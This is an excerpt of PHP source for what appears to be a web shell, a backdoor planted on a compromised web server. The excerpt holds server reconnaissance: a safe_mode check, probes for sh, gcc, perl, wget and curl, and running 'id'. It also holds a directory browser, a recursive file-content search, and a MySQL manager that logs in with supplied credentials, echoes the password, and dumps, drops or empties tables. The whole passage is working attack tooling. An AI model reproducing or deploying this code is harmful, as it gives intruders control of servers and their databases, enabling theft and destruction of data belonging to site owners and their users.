  589.   if (!function_exists("parse_perms")) {
  590.     function parse_perms($mode) {
  591.       if (($mode & 0xC000) === 0xC000) {$t = "s";}
  592.       elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  593.       elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  594.       elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  595.       elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  596.       elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  597.       elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  598.       else {$t = "?";}
  599.       $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  600.       $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  601.       $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  602.       return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  603.     }
  604.   }
  605.   if (!function_exists("parsesort")) {
  606.     function parsesort($sort) {
  607.       $one = intval($sort);
  608.       $second = substr($sort,-1);
  609.       if ($second != "d") {$second = "a";}
  610.       return array($one,$second);
  611.     }
  612.   }
  613.   if (!function_exists("view_perms_color")) {
  614.     function view_perms_color($o) {
  615.       if (!is_readable($o)) {return "<font color=red>".view_perms(fileperms($o))."</font>";}
  616.       elseif (!is_writable($o)) {return "<font color=white>".view_perms(fileperms($o))."</font>";}
  617.       else {return "<font color=green>".view_perms(fileperms($o))."</font>";}
  618.     }
  619.   }
  620.   if (!function_exists("mysql_dump")) {
  621.     function mysql_dump($set) {
  622.       global $sh_ver;
  623.       $sock = $set["sock"];
  624.       $db = $set["db"];
  625.       $print = $set["print"];
  626.       $nl2br = $set["nl2br"];
  627.       $file = $set["file"];
  628.       $add_drop = $set["add_drop"];
  629.       $tabs = $set["tabs"];
  630.       $onlytabs = $set["onlytabs"];
  631.       $ret = array();
  632.       $ret["err"] = array();
  633.       if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  634.       if (empty($db)) {$db = "db";}
  635.       if (empty($print)) {$print = 0;}
  636.       if (empty($nl2br)) {$nl2br = 0;}
  637.       if (empty($add_drop)) {$add_drop = TRUE;}
  638.       if (empty($file)) {
  639.         $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
  640.       }
  641.       if (!is_array($tabs)) {$tabs = array();}
  642.       if (empty($add_drop)) {$add_drop = TRUE;}
  643.       if (sizeof($tabs) == 0) {
  644.         $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  645.         if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  646.       }
  647.       $out = "
  648.       # Dumped by ".$sh_name."
  649.       #
  650.       # Host settings:
  651.       # MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
  652.       # Date: ".date("d.m.Y H:i:s")."
  653.       # DB: \"".$db."\"
  654.       #---------------------------------------------------------";
  655.       $c = count($onlytabs);
  656.       foreach($tabs as $tab) {
  657.         if ((in_array($tab,$onlytabs)) or (!$c)) {
  658.           if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  659.           $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  660.           if (!$res) {$ret["err"][] = mysql_smarterror();}
  661.           else {
  662.             $row = mysql_fetch_row($res);
  663.             $out .= $row["1"].";\n\n";
  664.             $res = mysql_query("SELECT * FROM `$tab`", $sock);
  665.             if (mysql_num_rows($res) > 0) {
  666.               while ($row = mysql_fetch_assoc($res)) {
  667.                 $keys = implode("`, `", array_keys($row));
  668.                 $values = array_values($row);
  669.                 foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  670.                 $values = implode("', '", $values);
  671.                 $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  672.                 $out .= $sql;
  673.               }
  674.             }
  675.           }
  676.         }
  677.       }
  678.       $out .= "#---------------------------------------------------------------------------------\n\n";
  679.       if ($file) {
  680.         $fp = fopen($file, "w");
  681.         if (!$fp) {$ret["err"][] = 2;}
  682.         else {
  683.           fwrite ($fp, $out);
  684.           fclose ($fp);
  685.         }
  686.       }
  687.       if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  688.       return $out;
  689.     }
  690.   }
  691.   if (!function_exists("mysql_buildwhere")) {
  692.     function mysql_buildwhere($array,$sep=" and",$functs=array()) {
  693.       if (!is_array($array)) {$array = array();}
  694.       $result = "";
  695.       foreach($array as $k=>$v) {
  696.         $value = "";
  697.         if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  698.         $value .= "'".addslashes($v)."'";
  699.         if (!empty($functs[$k])) {$value .= ")";}
  700.         $result .= "`".$k."` = ".$value.$sep;
  701.       }
  702.       $result = substr($result,0,strlen($result)-strlen($sep));
  703.       return $result;
  704.     }
  705.   }
  706.   if (!function_exists("mysql_fetch_all")) {
  707.     function mysql_fetch_all($query,$sock) {
  708.       if ($sock) {$result = mysql_query($query,$sock);}
  709.       else {$result = mysql_query($query);}
  710.       $array = array();
  711.       while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  712.       mysql_free_result($result);
  713.       return $array;
  714.     }
  715.   }
  716.   if (!function_exists("mysql_smarterror")) {
  717.     function mysql_smarterror($type,$sock) {
  718.       if ($sock) {$error = mysql_error($sock);}
  719.       else {$error = mysql_error();}
  720.       $error = htmlspecialchars($error);
  721.       return $error;
  722.     }
  723.   }
  724.   if (!function_exists("mysql_query_form")) {
  725.     function mysql_query_form() {
  726.       global $submit,$sql_x,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  727.       if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  728.       if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
  729.       if ((!$submit) or ($sql_x)) {
  730.         echo "<table border=0><tr><td><form name=\"bogel_sqlquery\" method=POST><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=sql_query cols=100 rows=10>".htmlspecialchars($sql_query)."</textarea><br><br><input type=hidden name=x value=sql><input type=hidden name=sql_x value=query><input type=hidden name=sql_tbl value=\"".htmlspecialchars($sql_tbl)."\"><input type=hidden name=submit value=\"1\"><input type=hidden name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=submit name=sql_confirm value=\"Yes\"> <input type=submit value=\"No\"></form></td>";
  731.         if ($tbl_struct) {
  732.           echo "<td valign=\"top\"><b>Fields:</b><br>";
  733.           foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "+ <a href=\"#\" onclick=\"document.bogel_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  734.           echo "</td></tr></table>";
  735.         }
  736.       }
  737.       if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  738.     }
  739.   }
  740.   if (!function_exists("mysql_create_db")) {
  741.     function mysql_create_db($db,$sock="") {
  742.       $sql = "CREATE DATABASE `".addslashes($db)."`;";
  743.       if ($sock) {return mysql_query($sql,$sock);}
  744.       else {return mysql_query($sql);}
  745.     }
  746.   }
  747.   if (!function_exists("mysql_query_parse")) {
  748.     function mysql_query_parse($query) {
  749.       $query = trim($query);
  750.       $arr = explode (" ",$query);
  751.       $types = array(
  752.         "SELECT"=>array(3,1),
  753.         "SHOW"=>array(2,1),
  754.         "DELETE"=>array(1),
  755.         "DROP"=>array(1)
  756.       );
  757.       $result = array();
  758.       $op = strtoupper($arr[0]);
  759.       if (is_array($types[$op])) {
  760.         $result["propertions"] = $types[$op];
  761.         $result["query"]  = $query;
  762.         if ($types[$op] == 2) {
  763.           foreach($arr as $k=>$v) {
  764.             if (strtoupper($v) == "LIMIT") {
  765.               $result["limit"] = $arr[$k+1];
  766.               $result["limit"] = explode(",",$result["limit"]);
  767.               if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
  768.               unset($arr[$k],$arr[$k+1]);
  769.             }
  770.           }
  771.         }
  772.       }
  773.       else {return FALSE;}
  774.     }
  775.   }
  776.   if (!function_exists("cafsearch")) {
  777.     function cafsearch($d) {
  778.       global $found;
  779.       global $found_d;
  780.       global $found_f;
  781.       global $search_i_f;
  782.       global $search_i_d;
  783.       global $a;
  784.       if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  785.       $h = opendir($d);
  786.       while (($f = readdir($h)) !== FALSE) {
  787.         if($f != "." && $f != "..") {
  788.           $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
  789.           if (is_dir($d.$f)) {
  790.             $search_i_d++;
  791.             if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
  792.             if (!is_link($d.$f)) {cafsearch($d.$f);}
  793.           }
  794.           else {
  795.             $search_i_f++;
  796.             if ($bool) {
  797.               if (!empty($a["text"])) {
  798.                 $r = @file_get_contents($d.$f);
  799.                 if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
  800.                 if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
  801.                 if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
  802.                 else {$bool = strpos(" ".$r,$a["text"],1);}
  803.                 if ($a["text_not"]) {$bool = !$bool;}
  804.                 if ($bool) {$found[] = $d.$f; $found_f++;}
  805.               }
  806.               else {$found[] = $d.$f; $found_f++;}
  807.             }
  808.           }
  809.         }
  810.       }
  811.       closedir($h);
  812.     }
  813.   }
  814.   if ($x == "gofile") {
  815.     if (is_dir($f)) { $x = "ls"; $d = $f; }
  816.     else { $x = "f"; $d = dirname($f); $f = basename($f); }
  817.   }
  818.   @ob_start();
  819.   @ob_implicit_flush(0);
  820.   function onphpshutdown() {
  821.     global $gzipencode,$ft;
  822.     if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad"))) {
  823.       $v = @ob_get_contents();
  824.       @ob_end_clean();
  825.       @ob_start("ob_gzHandler");
  826.       echo $v;
  827.       @ob_end_flush();
  828.     }
  829.   }
  830.   function bogelexit() {
  831.     onphpshutdown();
  832.     exit;
  833.   }
  834.   header("Expires: Mon, 12 Dec 2012 05:00:00 GMT");
  835.   header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
  836.   header("Cache-Control: no-store, no-cache, must-revalidate");
  837.   header("Cache-Control: post-check=0, pre-check=0", FALSE);
  838.   header("Pragma: no-cache");
  839.   if (empty($tmpdir)) {
  840.     $tmpdir = ini_get("upload_tmp_dir");
  841.     if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
  842.   }
  843.   $tmpdir = realpath($tmpdir);
  844.   $tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
  845.   if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
  846.   if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
  847.   else {$tmpdir_logs = realpath($tmpdir_logs);}
  848.   function showstat($stat) {
  849.     if ($stat=="on") { return "<font color=#00FF00><b>ON</b></font>"; }
  850.     else { return "<font color=#FF9900><b>OFF</b></font>"; }
  851.   }
  852.   function testSH() {
  853.     if (ex('sh --help')) { return showstat("on"); }
  854.     else { return showstat("off"); }
  855.   }
  856.    function testgcc() {
  857.     if (ex('gcc --help')) { return showstat("on"); }
  858.     else { return showstat("off"); }
  859.   }
  860.   function testperl() {
  861.     if (ex('perl --help')) { return showstat("on"); }
  862.     else { return showstat("off"); }
  863.   }
  864.   function testfetch() {
  865.     if(ex('fetch --help')) { return showstat("on"); }
  866.     else { return showstat("off"); }
  867.   }
  868.   function testwget() {
  869.     if (ex('wget --help')) { return showstat("on"); }
  870.     else { return showstat("off"); }
  871.   }
  872.   function testcurl() {
  873.     if (function_exists('curl_version')) { return showstat("on"); }
  874.     else { return showstat("off"); }
  875.   }
  876.   function testmysql() {
  877.     if (function_exists('mysql_connect')) { return showstat("on"); }
  878.     else { return showstat("off"); }
  879.   }
  880.   function showdisablefunctions() {
  881.     if ($disablefunc=@ini_get("disable_functions")){ return "<font color=#FF9900><b>".$disablefunc."</b></font>"; }
  882.     else { return "<font color=#00FF00><b>NONE</b></b></font>"; }
  883.   }
  884.   if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") {
  885.     $safemode = TRUE;
  886.     $hsafemode = "<font color=#3366FF><b>SAFE MODE is ON ( FUCK )</b></font>";
  887.   }
  888.   else {
  889.     $safemode = FALSE;
  890.     $hsafemode = "<font color=#FF9900><b>SAFE MODE is OFF ( OKE )</b></font>";
  891.   }
  892.   $v = @ini_get("open_basedir");
  893.   if ($v or strtolower($v) == "on") {
  894.     $openbasedir = TRUE;
  895.     $hopenbasedir = "<font color=red>".$v."</font>";
  896.   }
  897.   else {
  898.     $openbasedir = FALSE;
  899.     $hopenbasedir = "<font color=green>OFF ( OKE )</font>";
  900.   }
  901.   $sort = htmlspecialchars($sort);
  902.   if (empty($sort)) {$sort = $sort_default;}
  903.   $sort[1] = strtolower($sort[1]);
  904.   $DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
  905.   if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
  906.   $DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"<a href=\"".$surl."x=phpinfo\" target=\"_blank\"><b><u>PHP/".phpversion()."</u></b></a>",htmlspecialchars($DISP_SERVER_SOFTWARE));
  907.   @ini_set("highlight.bg",$highlight_bg);
  908.   @ini_set("highlight.comment",$highlight_comment);
  909.   @ini_set("highlight.default",$highlight_default);
  910.   @ini_set("highlight.html",$highlight_html);
  911.   @ini_set("highlight.keyword",$highlight_keyword);
  912.   @ini_set("highlight.string",$highlight_string);
  913.   if (!is_array($actbox)) { $actbox = array(); }
  914.   $dspact = $x = htmlspecialchars($x);
  915.   $disp_fullpath = $ls_arr = $notls = null;
  916.   $ud = urlencode($d);
  917.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  918.   if (empty($d)) {$d = realpath(".");}
  919.   elseif(realpath($d)) {$d = realpath($d);}
  920.   $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  921.   if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  922.   $d = str_replace("\\\\","\\",$d);
  923.   $dispd = htmlspecialchars($d);
  924. echo $html_start;
  925. echo "<div class=barheader2><h3>$sh_name</h3><font color=lime>:: ketika sahabat jadi bangsat ::</font></div><hr color=black>\n";
  926. echo "<table id=pagebar><tr><td width=50%><p>".
  927.      "Software : ".$DISP_SERVER_SOFTWARE ." - <a href=".$surl."x=phpini>php.ini</a><br>".
  928.      "$hsafemode<br>".
  929.      "OS : ".php_uname()."<br>";
  930. if (!$win) { echo "User ID : ".myshellexec("id"); }
  931. else { echo "User : " . get_current_user(); }
  932. echo "</p></td>".
  933.      "<td width=50%><p>Server IP : <a href=http://www.ip-adress.com/".gethostbyname($_SERVER["HTTP_HOST"]).">".gethostbyname($_SERVER["HTTP_HOST"])."</a> - ".
  934.      "Your IP : <a href=http://www.ip-adress.com/".$_SERVER["REMOTE_ADDR"].">".$_SERVER["REMOTE_ADDR"]."</a><br>";
  935. if($win){echo "Drives : ".disp_drives($d,$surl)."<br>";}
  936. echo "Freespace : ".disp_freespace($d);
  937. echo "</p></td></tr>";
  938. echo "<tr><td colspan=2><p>";
  939. echo "MySQL: ".testmysql()." cURL: ".testcurl()." WGet: ".testwget()." Fetch: ".testfetch()." Perl: ".testperl()." gcc: ".testgcc()." SH: ".testSH()."<br>";
  940. echo "Disabled Functions: ".showdisablefunctions();
  941. echo "</p></td></tr>";
  942. echo "<tr><td colspan=2 id=mainmenu>";
  943. if (count($quicklaunch2) > 0) {
  944.   foreach($quicklaunch2 as $item) {
  945.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  946.     $item[1] = str_replace("%sort",$sort,$item[1]);
  947.     $v = realpath($d."..");
  948.     if (empty($v)) {
  949.       $a = explode(DIRECTORY_SEPARATOR,$d);
  950.       unset($a[count($a)-2]);
  951.       $v = join(DIRECTORY_SEPARATOR,$a);
  952.     }
  953.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  954.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  955.   }
  956. }
  957. echo "</td><tr><td colspan=2 id=mainmenu>";
  958. if (count($quicklaunch1) > 0) {
  959.   foreach($quicklaunch1 as $item) {
  960.     $item[1] = str_replace("%d",urlencode($d),$item[1]);
  961.     $item[1] = str_replace("%sort",$sort,$item[1]);
  962.     $v = realpath($d."..");
  963.     if (empty($v)) {
  964.       $a = explode(DIRECTORY_SEPARATOR,$d);
  965.       unset($a[count($a)-2]);
  966.       $v = join(DIRECTORY_SEPARATOR,$a);
  967.     }
  968.     $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  969.     echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  970.   }
  971. }
  972. echo "</td></tr><tr><td colspan=2>";
  973. echo "<p class=fleft>";
  974. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  975. $i = 0;
  976. foreach($pd as $b) {
  977.   $t = ""; $j = 0;
  978.   foreach ($e as $r) {
  979.     $t.= $r.DIRECTORY_SEPARATOR;
  980.     if ($j == $i) { break; }
  981.     $j++;
  982.   }
  983.   echo "<a href=\"".$surl."x=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=white>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>";
  984.   $i++;
  985. }
  986. echo " - ";
  987. if (is_writable($d)) {
  988.   $wd = TRUE;
  989.   $wdt = "<font color=#00FF00>[OK]</font>";
  990.   echo "<b><font color=green>".view_perms(fileperms($d))."</font>";
  991. }
  992. else {
  993.   $wd = FALSE;
  994.   $wdt = "<font color=red>[Read-Only]</font>";
  995.   echo "<b>".view_perms_color($d)."</b>";
  996. }
  997. ?>
  998. </p>
  999. <div class=fright>
  1000. <form method="POST"><input type=hidden name=act value="ls">
  1001. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  1002. </form>
  1003. </div>
  1004. </td></tr></table>
  1005. <?php
  1006. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  1007. if ($x == "") { $x = $dspact = "ls"; }
  1008. if ($x == "phpini" ) { get_phpini(); }
  1009. if ($x == "sql") {
  1010.   $sql_surl = $surl."x=sql";
  1011.   if ($sql_login)  {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  1012.   if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  1013.   if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  1014.   if ($sql_port)   {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  1015.   if ($sql_db)     {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  1016.   $sql_surl .= "&";
  1017.   echo "<table>".
  1018.        "<tr><td width=\"100%\" colspan=2 class=barheader>";
  1019.   if ($sql_server) {
  1020.     $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  1021.     $err = mysql_smarterror();
  1022.     @mysql_select_db($sql_db,$sql_sock);
  1023.     if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  1024.   }
  1025.   else {$sql_sock = FALSE;}
  1026.   echo ".: SQL Manager :.<br>";
  1027.   if (!$sql_sock) {
  1028.     if (!$sql_server) {echo "NO CONNECTION";}
  1029.     else {echo "Can't connect! ".$err;}
  1030.   }
  1031.   else {
  1032.     $sqlquicklaunch = array();
  1033.     $sqlquicklaunch[] = array("Index",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  1034.     $sqlquicklaunch[] = array("Query",$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl));
  1035.     $sqlquicklaunch[] = array("Server-status",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=serverstatus");
  1036.     $sqlquicklaunch[] = array("Server variables",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=servervars");
  1037.     $sqlquicklaunch[] = array("Processes",$surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_x=processes");
  1038.     $sqlquicklaunch[] = array("Logout",$surl."x=sql");
  1039.     echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  1040.     if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1041.   }
  1042.   echo "</td></tr><tr>";
  1043.   if (!$sql_sock) {
  1044.     echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  1045.     echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"x\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  1046.   }
  1047.   else {
  1048.     if (!empty($sql_db)) {
  1049.       ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  1050.       <?php
  1051.       $result = mysql_list_tables($sql_db);
  1052.       if (!$result) {echo mysql_smarterror();}
  1053.       else {
  1054.         echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  1055.         $c = 0;
  1056.         while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  1057.         if (!$c) {echo "No tables found in database.";}
  1058.       }
  1059.     }
  1060.     else {
  1061.       ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  1062.       <?php
  1063.       $result = mysql_list_dbs($sql_sock);
  1064.       if (!$result) {echo mysql_smarterror();}
  1065.       else {
  1066.         ?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  1067.         <?php
  1068.         $c = 0;
  1069.         $dbs = "";
  1070.         while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  1071.         echo "<option value=\"\">Databases (".$c.")</option>";
  1072.         echo $dbs;
  1073.       }
  1074.       ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  1075.       <?php
  1076.     }
  1077.     echo "</td><td width=\"100%\">";
  1078.     $diplay = TRUE;
  1079.     if ($sql_db) {
  1080.       if (!is_numeric($c)) {$c = 0;}
  1081.       if ($c == 0) {$c = "no";}
  1082.       echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  1083.       if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  1084.       echo "</b></center>";
  1085.       $acts = array("","dump");
  1086.       if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  1087.       elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_x = "query";}
  1088.       elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
  1089.       elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  1090.       elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  1091.       elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  1092.       elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
  1093.       elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
  1094.       elseif ($sql_tbl_x == "insert") {
  1095.         if ($sql_tbl_insert_radio == 1) {
  1096.           $keys = "";
  1097.           $akeys = array_keys($sql_tbl_insert);
  1098.           foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  1099.           if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  1100.           $values = "";
  1101.           $i = 0;
  1102.           foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  1103.           if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  1104.           $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  1105.           $sql_x = "query";
  1106.           $sql_tbl_x = "browse";
  1107.         }
  1108.         elseif ($sql_tbl_insert_radio == 2) {
  1109.           $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  1110.           $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  1111.           $result = mysql_query($sql_query) or print(mysql_smarterror());
  1112.           $result = mysql_fetch_array($result, MYSQL_ASSOC);
  1113.           $sql_x = "query";
  1114.           $sql_tbl_x = "browse";
  1115.         }
  1116.       }
  1117.       if ($sql_x == "query") {
  1118.         echo "<hr size=\"1\" noshade>";
  1119.         if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  1120.         if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
